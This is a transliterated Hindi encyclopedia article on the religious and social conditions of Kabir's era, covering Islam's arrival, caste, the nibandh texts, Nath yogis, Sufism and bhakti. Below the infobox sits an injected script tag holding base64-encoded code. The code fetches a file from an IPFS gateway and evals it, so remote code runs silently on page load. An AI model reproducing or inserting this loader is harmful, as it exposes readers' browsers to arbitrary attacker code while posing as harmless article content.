कबीर का समकालीन समाज

kabir vishay soochi

kabir    jivan parichay    samakalin samaj    sahityik parichay    bhasha aur shaili    vyaktitv    jivan darshan    rachanaean    kabir ke dohe    vistrit lekh

kabir ka samakalin samaj
|200px|center
poora nam	sant kabiradas
any nam	kabira, kabir sahab
janm	san 1398 (lagabhag)
janm bhoomi	laharatara tal, kashi
mrityu	san 1518 (lagabhag)
mrityu sthan	magahar, uttar pradesh
palak mata-pita	niru aur nima
pati/patni	loee
santan	kamal (putr), kamali (putri)
karm bhoomi	kashi, banaras
karm-kshetr	samaj sudharak kavi
mukhy rachanaean	sakhi, sabad aur ramaini
vishay	samajik
bhasha	avadhi, sadhukk di, panchamel khich di
shiksha	nirakshar
nagarikata	bharatiy
sanbandhit lekh	kabir granthavali, kabirapanth, bijak, kabir ke dohe adi
any janakari	kabir ka koee pramanik jivanavritt aj tak nahian mil saka, jis karan is vishay mean nirnay karate samay, adhikatar janashrutiyoan, saanpradayik granthoan aur vividh ullekhoan tatha inaki abhi tak upalabdh katipay phutakal rachanaoan ke aant:sadhy ka hi sahara liya jata raha hai.
inhean bhi dekhean	kavi soochi, sahityakar soochi

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

mahatma kabiradas ke janm ke samay mean bharat ki rajanitik, samajik, arthik evan dharmik dasha shochaniy thi. ek taraph musalaman shasakoan ki dharmaanndhata se janata pareshan thi aur doosari taraph hindoo dharm ke karmakaand, vidhan aur pakhand se dharm ka hras ho raha tha. janata mean bhakti- bhavanaoan ka sarvatha abhav tha. panditoan ke pakhandapoorn vachan samaj mean phaile the. aise sangharsh ke samay mean, kabiradas ka prardubhav hua. jis yug mean kabir avirbhoot hue the, usake kuchh hi poorv bharatavarsh ke itihas mean ek abhootapoorv ghatana ghat chuki thi. yah ghatana islam jaise ek susangathit sampraday ka agaman tha. is ghatana ne bharatiy dharm–mat aur samaj vyavastha ko buri tarah se jhakajhor diya tha. usaki aparivartaniy samajhi jane vali jati–vyavastha ko pahali bar zabardast thokar lagi thi. sara bharatiy vatavaran sankshubdh tha. bahut–se panditajan is sankshobh ka karan khojane mean vyast the aur apane–apane dhang par bharatiy samaj aur dharm–mat ko sambhalane ka prayatn kar rahe the.

bharatavarsh koee naya desh nahian hai. b de–b de samrajy usaki dhool mean dabe hue haian, b di–b di dharmik ghoshanaean usake vayumandal mean ninadit ho chuki haian. b di–b di sabhyataean usake pratyek kone mean utpann aur vilin ho chuki haian. unake smriti chihn ab bhi is prakar nirjiv hokar kh de haian manoan attahas karati huee vijayalakshmi ko bijali mar gee ho. anadikal mean usamean anek jatiyoan, kabiloan, nasloan aur ghumakk d khanabadoshoan ke jhund is desh mean ate rahe haian. kuchh der ke lie inhoanne desh ke vatavaran ko vikshubdh bhi banaya hai, par ant tak ve dakhal karake baith jate rahe haian aur purane devataoan ke saman hi shraddhabhajan ban jate rahe haian—kabhi–kabhi adhik samman bhi pa sake haian. bharatiy sanskriti ki kuchh aisi visheshata rahi hai ki un kabiloan, nasloan aur jatiyoan ki bhitari samaj–vyavastha aur dharm–mat mean kisi prakar ka hastakshep nahian kiya gaya hai aur phir bhi unako sampoorn bharatiy man liya gaya hai. bhagavat mean aisi jatiyoan ki ek soochi dekar bataya gaya hai ki ek bar bhagavan ka ashray pate hi ye shuddh ho gee haian. inamean kirat haian, hoon haian, aandhr haian, puliand haian, pukkas haian, abhir haian, shuang haian, yavan haian, khas haian, shak haian aur bhi nishchay hi aisi bahut si jatiyaan haian, jinaka nam bhagavatakar nahian gina ge.

samakalin bharatiy sanskriti

bharatiy sanskriti itane atithiyoan ka apana saki thi, isaka karan yah hai ki bahut se shuroo se hi usaki dharm–sadhana vaiyaktik rahi hai. pratyek vyakti ko alag se dharmopasana ka adhikar hai. jhuand baandhakar utsav ho sakate haian, bhajan nahian. pratyek vyakti apane kie ka zimmedar ap hi hai. shreshthata ki nishani kisi dharm–mat ko manana ya dev vishesh ki pooja karana nahian balki achar–shuddhi aur charitry hai. yadi ek adami apane poorvajoan ke batae dharm par dridh hai, charitr se shuddh hai, doosari jati ya vyakti ke acharan ki nakal nahian karata balki svadharm mean mar jane ko hi shreyaskar samajhata hai, eemanadar hai, satyavadi hai, to vah nishchay hi shreshth hai, phir vah chahe abhir vansh ka ho ya pukks shreni ka. kulinata poorvajanm ke karm ka phal hai. charitry is janm ke karm ka pratik hai. thumb|kabiradas|200px|left devata kisi ek jati ki sampatti nahian haian, ve sabake haian, aur sabaki pooja ke adhikari haian. par yadi svayan devata hi chahate hoan ki unaki pooja ka madhyam koee vishesh jati ya vyakti ho sakata hai to bharatiy samaj ko isamean bhi koee apatti nahian hai. brahman matangi devi ki pooja karega par matang ke jarie. kya hua jo ki matang chaandal hai. rahu yadi prasann hone ke lie domoan ko hi dan dena apani shart rakhate haian to dom sahi haian. samast bharatiy samaj dom ko hi dan dekar grahan ke anarth se chandrama ki raksha karega. is prakar bharatiy sanskriti ne samast jatiyoan ko unaki sari visheshataoan samet svikar kar liya. par ab tak koee aisa 'mazahab' usake dvar par nahian aya tha. vah usako hajam kar sakane ki shakti nahian rakhata tha.

'mazahab' kya hai?

'mazahab' kya hai? mazahab ek sangathit dharm–mat hai. bahut–se log ek hi devata ko manate haian, ek hi achar ka palan karate haian, aur kisi nasl, kabile ya jati ke vishesh vyakti ko jab ek bar apane sanghatit samooh mean mila lete haian to usaki sari visheshataean door kar usi vishesh matavad ko svikar karate haian. yahaan dharm–sadhana vyaktigat nahian, samoohagat hoti hai. yahaan dharmik aur samajik vidhinishedh ek –doosare mean guanthe hote haian. bharatiy samaj nana jatiyoan ka sammishran tha. ek jati ka ek vyakti doosari jati mean badal nahian sakata, parantu mazahab thik isase ulta hai. vah vyakti ko samooh ka aang bana deta hai. bharatiy samaj ki jatiyaan kee vyaktiyoan ka samooh hai, parantu kisi mazahab ke vyakti brihat samooh ke aang haian. ek ka vyakti alag hasti rakhata hai par alag nahian ho sakata, doosare ka alag ho sakata hai, par alag satta nahian rakhata.

musalamani dharm ek 'mazahab' hai. bharatiy samaj sangathan se bilkul ulte taur par usaka sangathan hua tha. bharatiy samaj jatigat visheshata rakhakar vyaktigat dharm–sadhana ka pakshapati tha, islam jatigat visheshata ko lop karake samoohagat dharm–sadhana ka pracharak tha. ek ka kendr bindu charitry tha, doosare ka dharm–mat. bharatiy samaj mean yah svikrit tathy tha ki vishvas chahe jo bhi ho, charitry shuddh hai to vyakti shreshth ho jata hai. phir chahe vah kisi jati ka bhi kyoan n ho. musalamani samaj ka vishvas tha ki islam ne jo dharm–mat prachar kiya hai usako svikar kar lene vala hi anant svarg ka adhikari hai. jo is dharm–mat ko nahian manata vah anant narak mean jane ko badhy hai. bharatavarsh ko aise mat se ekadam pala nahian p da tha. usane kabhi yah vishvas hi nahian kiya ki usake achar aur mat ko n manane vali jati ka kuph to dana usaka param kartavy hai. kisi aur ka param kartavy yah bat ho sakati hai, yah bhi use nahian maloom tha. isilie jab navin dharm–mat ne sare sansar ke kuph ko mita dene ki pratijna ki aur sabhi pae jane vale sadhanoan ka upayog arambh kiya to bharatavarsh ise thik–thik samajh hi nahian saka. isilie kuchh dinoan tak usaki samanvayatmika buddhi kuanthit ho gee. vah vikshubdh sa ho utha. parantu vidhata ko yah kuantha aur vikshobh pasand nahian tha.

1. REDIRECTsaancha:inhean bhi dekhean

dharmachar ka palan

aisa jan p data hai pahali bar bharatiy manishiyoan ko ek sanghabaddh dharmachar ke palan ki zaroorat mahasoos huee. islam ke ane se pahale is vishal janasamooh ka koee ek nam tak nahian tha. ab isaka nam 'hindoo' p da. hindoo arthath bharatiy, arthath gair–islami mat. spasht hi gair–islami mat mean kee tarah ke mat the. kuchh brahmavadi the, kuchh karmakandi the, kuchh shaiv the, kuchh vaishnav the, kuchh shakt the, kuchh smartt the tatha aur bhi n jane kya–kya the. hazaroan yojanoan tak vistrit aur hazaroan varshoan mean parivyapt is janasamooh ke vicharoan aur parampara prapt matoan ka ek vishal jangal kh da tha. smriti, puran, lokachar aur kulachar ki vishal vanasthali mean se rasta nikal lena b da hi dushkar kary tha. smartt panditoan ne isi dushkar vyapar ko shirodhary kiya. sare desh mean shastriy vachanoan ki chhanabin hone lagi. uddeshy tha ki is prakar ka sarvasammat mat nikal liya ja sake, shraddh–vivah ki ek hi riti–niti prachalit ho sake, utsan–samaroh ka ek hi vidhan taiyar ho sake. bharatiy manisha ka shastroan ko adhar manakar apani sabase b di samasya ke samadhan ka yah sabase b da prayatn tha. hemadri se lekar kamalakar aur raghunandan tak bahutere panditoan ne bahut parishram ke bad jo kuchh nirnay kiya vah yadyapi sarvavadisammat nahian hua, parantu nissandeh stoopibhoot shastr vakyoan ki chhanabin se ek bahut kuchh milata–julata achar–pravan dharm–mat sthir kiya ja saka. nibandh granthoan ki yah ek bahut b di den hai. jis bat ko ajakal 'hindoo–solidairiti' kahate haian, usaka pratham bhitti–sthapan in nibandh granthoan ke dvara hi hua tha. par samasya ka samadhan isase nahian hua. [[chitr:Kabir-Maghar-Mazaar.jpg|thumb|250px|kabir ki mazar, magahar]] is prayatn ki sabase b di kamazori isaki achar–pravanata hi thi. jo naya dharm–mat bharatiy jan samaj ko sankshubdh kar raha tha vah is achar ko koee mahattv hi nahian deta tha. usaka sangathan bilkul ulte kinar se hua tha. usake mool mean hi sabako svikar karane ka siddhaant kam kar raha tha. samast shastriy vakyoan ko natashir se svikar karake hi yah asadhy sadhan kiya gaya tha. par jis pratidvandvi se kam p da tha vah bahut varjanagrahi tha, arthath vah nirdayatapoorv anyany matoan ko tahas–nahas karane ki diksha le chuka tha aur dharmik varjanashilata hi usaka mukhy astr tha. yadyapi vah samaj dharmik roop mean varjanashil tha, par samajik roop mean grahanashil tha. jabaki hindoo samaj dharmik sadhanoan ko svikar kar sakata tha. par kisi vyakti vishesh ko dharm–mat mean grahan karane ka pakshapati nahian tha. udhar musalamani samaj vyakti ko apane dharm–mat shamil kar lene ko param kartavy samajhata tha. parantu kisi vishesh dharm sadhana ko apane kisi vyakti ke lie ekadam varjaniy manata tha. nibandh granthoan ne hindoo ko aur bhi adhik hindoo bana diya, par musalamanoan ko atmasat karane ka koee rasta nahian bataya.

is prakar musalamanoan ke agaman ke sath hi sath hindoo dharm pradhanatah achar–pravan ho gaya. tirth, vrat, upavas aur homachar ki parampara hi usaka kendr bindu ho gee. is samay poorv aur uttar mean sabase prabal sampraday nathapanthi yogiyoan ka tha. hamane pahale hi dekha hai ki log shastriy smartt mat ko bhi nahian manate the aur prasthanatrayi (arthath 'upanishad', 'brahmasootr', aur 'gita') par adharit kisi darshanik matavad ke bhi qayal nahian the. par janata ka dhyan ye akrisht kar sake the. vividh siddhiyoan ke dvara ve kafi samman aur sanbhram ke patr ban ge the. ye gunatit shiv ya nirgun tattv ke upasak the. sadhanaoan ke dvara, jinhean kaya–sadhan kahate the, log param–tattv ko pane ke prayasi the. inamean jo siddh, sadhak aur avadhoot the ve gharabari anahian hote the par unake shishyoan mean bahut–se ashramabhrasht grihasth the, jo ki yogi jati ka roop dharan kar chuke the. hindoo dharm in ashramabhrasht grihasthoan ka samman to karata hi n tha, ulte unhean tiraskar ki drishti se hi dekhata tha. ye ashramabhrasht grihasth n to hindoo the - kyoanki vah hinduoan ke kisi mat ya achar ke qayal n the - aur n hi musalaman - kyoanki inhoanne islam dharm–mat ko svikar nahian kiya tha. kuchh kal ke islami sansarg ke bad ye log dhire–dhire musalamani dharm - mat ki or jhukane lage, par inake sanskar bahut dinoan tak bane rahe. jab ve isi prakriya mean se guzar rahe the usi samay kabir ka avirbhav hua tha.

dharmik andolan

chitr:Blockquote-open.gif kabiradas ne bolachal ki bhasha ka hi prayog kiya hai. bhasha par kabir ka jabaradast adhikar tha. ve vani ke diktetar the. jis bat ko unhoanne jis roop mean prakat karana chaha hai, use usi roop mean kahalava liya–ban gaya hai to sidhe–sidhe, nahian darera dekar. bhasha kuchh kabir ke samane lachar–si nazar ati hai. chitr:Blockquote-close.gif - hazari prasad dvivedi

yahaan do aur pradhan dharmik aandolanoan ki charcha kar leni chahie. pahali dhara pashchim se aee. yah soofi logoan ki sadhana thi. mazahabi musalaman hindoo dharm ke marmasthan par chot nahian kar pae the. ve keval usake bahari sharir ko vikshubdh kar sakate the. par soofi log bharatiy sadhana ke avirodhi the. unake udaratapoorn prem marg ne bharatiy janata ka chitt jitana arambh kar diya. phir bhi ye log achar pradhan bharatiy samaj ko akrisht nahian kar sake. usaka samanjasy achar pradhan hindoo dharm ke sath nahian ho saka. yahaan par yah bat smaran rakhane ki hai ki n to soofi matavad aur n yogamargiy nirgun param–tattv ki sadhana hi us vipul vairagy ke bhar ko vahan kar saki. jo bauddh sangh ke anukaran par pratishthit tha. desh mean pahali bar varnashram–vyavastha ko ek ananubhootapoorv vikat paristhiti ka samana karana p d raha tha. ab tak varnashram–vyavastha ka koee pratidvandvi nahian tha. achar bhrasht vyakti samaj se alag kar die jate the aur ve ek nee jati ki rachana kar lete the. is prakar saik doan jatiyaan aur upajatiyaan srisht hote rahane par bhi varnashram–vyavastha ek prakar se chalati hi ja rahi thi. ab samane ek zabardast pratidvandvi samaj tha jo ki pratyek vyakti aur pratyek jati ko aangikar karane ko baddhaparikar tha. usaki ekamatr shart yah thi ki vah usake vishesh prakar ke dharm–mat ko svikar kar le. samaj se dand panevala bahishkrit vyakti ab asahay nahian tha. ichchha karate hi vah ek susangathit samaj ka sahara pa sakata tha. aise samay mean dakshin se vedaant bhavit bhakti ka agaman hua, jo ki vishal bharatiy mahadvip k is chhor se us chhor tak phail gaya. d aau. griyarsan ne kaha tha-

"bijali ke chamak ke saman achanak is samast (dharmik matoan ke) aandhakar ke oopar ek nee bat dikhaee di. yah bhakti ka aandolan hai."

isane do roopoan mean atm–prakash kiya. pauranik avataroan ko kendr karake sagun upasana ke roop mean aur nirgun parabrahm jo yogiyoan ka dhyey tha, use kendr karake prem–bhakti ki sadhana ke roop mean. pahali sadhana ne hindoo jati ki bahyachar ki shushkata ko aantarik prem se sianchakar rasamay banaya aur doosari sadhana ne bahyachar ki shushkata ko hi door karane ka prayatn kiya. ek ne samajhaute ka rasta liya, doosari ne vidroh ka; ek ne shastr ka sahara liya, doosari ne anubhav ka; ek ne shrriddha ko path–pradarshak mana, doosari ne jnan ko; ek ne sagun bhagavan ko apanaya, doosari ne nirgun bhagavan ko. par prem donoan hi ka marg tha; sookha jnan donoan ko apriy tha; keval bahyachar donoan ko sammat nahian the; aantarik prem nivedan donoan ko abhisht tha; ahaituk bhakti donoan ki kamy thi; bina shart ke bhagavan ke prati atm–samarpan donoan ke priy sadhan the. in batoan mean donoan hi ek the. sabase b da aantar inake lila sambandhi vicharoan mean tha. donoan hi bhagavan ki prem lila mean vishvas karate the. donoan ka hi anubhav tha ki lila ke lie is jagatik prapanch ko samhale hue haian. par pradhan bhay yah tha ki sagun bhav se bhajan karane vale bhakt apane ap mean rame hue bhagavan ko hi param kamy manate the.

left|30px|link=kabir ka jivan parichay|pichhe jaean

kabir ka jivan parichay

kabir ka samakalin samaj

kabir ka sahityik parichay

right|30px|link=kabir ka sahityik parichay|age jaean

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh